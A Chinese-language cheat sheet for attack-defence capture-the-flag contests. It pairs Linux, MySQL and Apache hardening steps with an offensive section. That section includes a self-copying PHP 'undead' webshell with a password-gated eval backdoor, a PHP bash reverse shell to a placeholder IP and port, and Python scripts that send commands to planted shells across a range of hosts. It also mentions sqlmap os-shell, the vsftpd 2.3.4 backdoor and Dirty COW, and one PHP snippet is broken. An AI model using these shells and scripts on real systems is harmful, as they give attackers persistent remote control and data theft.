加固:
十五分钟加固,优先完成以下事情。
查看文件统一用:
ls -la
1、 系统用户密码更改,如果是弱口令的话所有人的都一样。
passwd 用户名
2、 查看是否存在后门用户,先拿到密码再改。
cat /etc/passwd
注:可利用1和2对其它主机进行攻击,可利用密码登录他人主机,查看文件修改他们的密码。
3、 关闭远程登陆,网站备份,数据库备份
关闭远程登陆(绑定本地登陆)
/etc/mysql/mysql.conf.d/mysqld.cnf
bind-address=127.0.0.1
备份数据库
mysqldump -h 127.0.0.1/localhost -u账号 -p密码 --all-databases > 文件名
例如: mysqldump -h 127.0.0.1 -uroot -proot --all-databases > back.sql
注意:在不同环境下,localhost和127.0.0.1,可能俩个其中之一可以用
恢复数据库
mysql -u root -p < 文件
命令执行数据库语句
mysql -uroot -proot -e "命令"
网站打包
tar -zcvf /var/www/html bak.tar.gz
恢复解包
tar -zxvf bak.tar.gz
4、 查找木马,获取连接方式,所有人都一样,删除木马
find . -name '*.php' | xargs grep -n 'eval('
find . -name '*.php' | xargs grep -n 'assert('
find . -name '*.php' | xargs grep -n 'system('
find . -name '*.php' | xargs grep -n 'exec'
find . -name '*.php' | xargs grep -n 'shell_exec'
5、 登录数据库更改数据库密码,配置数据库连接文件。
mysql -uroot -p
mysql> use mysql;
mysql> update user set password=password('123') where user='root' and host='localhost';
mysql> flush privileges;
修改管理员密码
mysql -uroot -p
use 系统的库;
update users(用户表) set password=md5('密码') where id=1;
flush privileges;
或
mysql -u root -p
set password for root@localhost = password('密码');
或
mysqladmin -uroot -p[旧密码] password [新密码]
删除多余用户或数据
use test;
delete from db;
delete from table where id>=10 and id <=20;删除table表中id值为10-20的数据*
6、sql注入加固,限制长度即可。
$id=$_GET['id'];
$idlen=strlen($id);
$max=4;
if ($idlen>$max) {
echo "Sorry, the maximum length of user name is 8 digits";
echo &len
die();
} else {
echo " ";
}
7、命令执行,删除关键函数。
如:system、exec、shell_exec等
8、关闭多余端口,切记不清楚的不要关
9、查看当前登录哪些用户,不是本队的踢出去
w 查看当前登录用户
pkill -kill -t 用户的TYY
10、注意查看网站目录的木马
11、文件包含
关闭php.ini中的allow_url_include
修改为:allow_url_include=off
12.用chattr锁定目录
find /var/www/html -exec chattr +i {}\;
13.拉黑相关
ssh拉黑
vim /etc/hosts.deny
sshd: ALL
//全部禁用
/etc/hosts.allow
sshd: ip
//开放ip
网站拉黑
vim /etc/apache2/apache2.conf
搜索directory
Deny From ip //拉黑的
Allow From ip //白名单
攻击
弱口令批量(msf)
命令执行
后门木马
sql注入
sqlmap --os-shell
检测sql注入方式
sqlmap --is-dba
文件包含:本地和远程
笑脸漏洞,vftp2.3.4
爆破用他给的一些密码文件,看一下他们给的密码文件,有没有特殊的。
提权确认是否有sudo权限
查看sudo配置文件,看看哪些用户有权限,可以改flag
掌握一下脏牛漏洞
https://blog.csdn.net/weixin_50688050/article/details/119292324
脚本
不死马
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$code='<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){
@eval($_POST[pass]);
} ?>';
while(1){
file_put_contents(".config.php",$code);
usleep(1000);
system("find /var/www/html -type d -exec cp .config.php {} \;");
system("find /var/www/html -exec touch {} \;");
}
?>
PHP版NC反弹SHELL
监听机需要开启 nc -lvp [port]
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/ip/port 0>&1' ");
?>
杀死不死马
ps aux | grep www-data | grep -v grep | awd '{print $2}' | xargs kill -9
python 批量拿flag GET版
import requests
cmd = input("cmd:")
web = ["http://172.20.%s.112"%x for x in range(101,106)]
def flag():
shell = "/.shell.php"
try:
for a in web:
params = {"command": cmd}
r = requests.get(a+shell,params=params,timeout=5)
d = r.status_code
if d ==200:
flag = r.text
with open("flag.txt","a") as f:
f.write(a + "flag is :" + flag +"\n")
else:
print(a + "error")
except:
print( a +"\terror")
flag()
python 批量拿flag POST版
import requests
cmd = input('cmd:')
web = ['http://172.20.%s.111'%x for x in range(101,105)]
def _flag():
shell = '/.config.php?pass=1010..'
try:
for a in web:
data = {"pass":cmd}
r = requests.post(a+shell,data=data,timeout=5)
d = r.status_code
if d == 200:
flag = r.text
print('%s\tflag is:%s'%(a,flag))
else:
print('%s\tError'%(a))
except:
print(a + "Error")
_flag()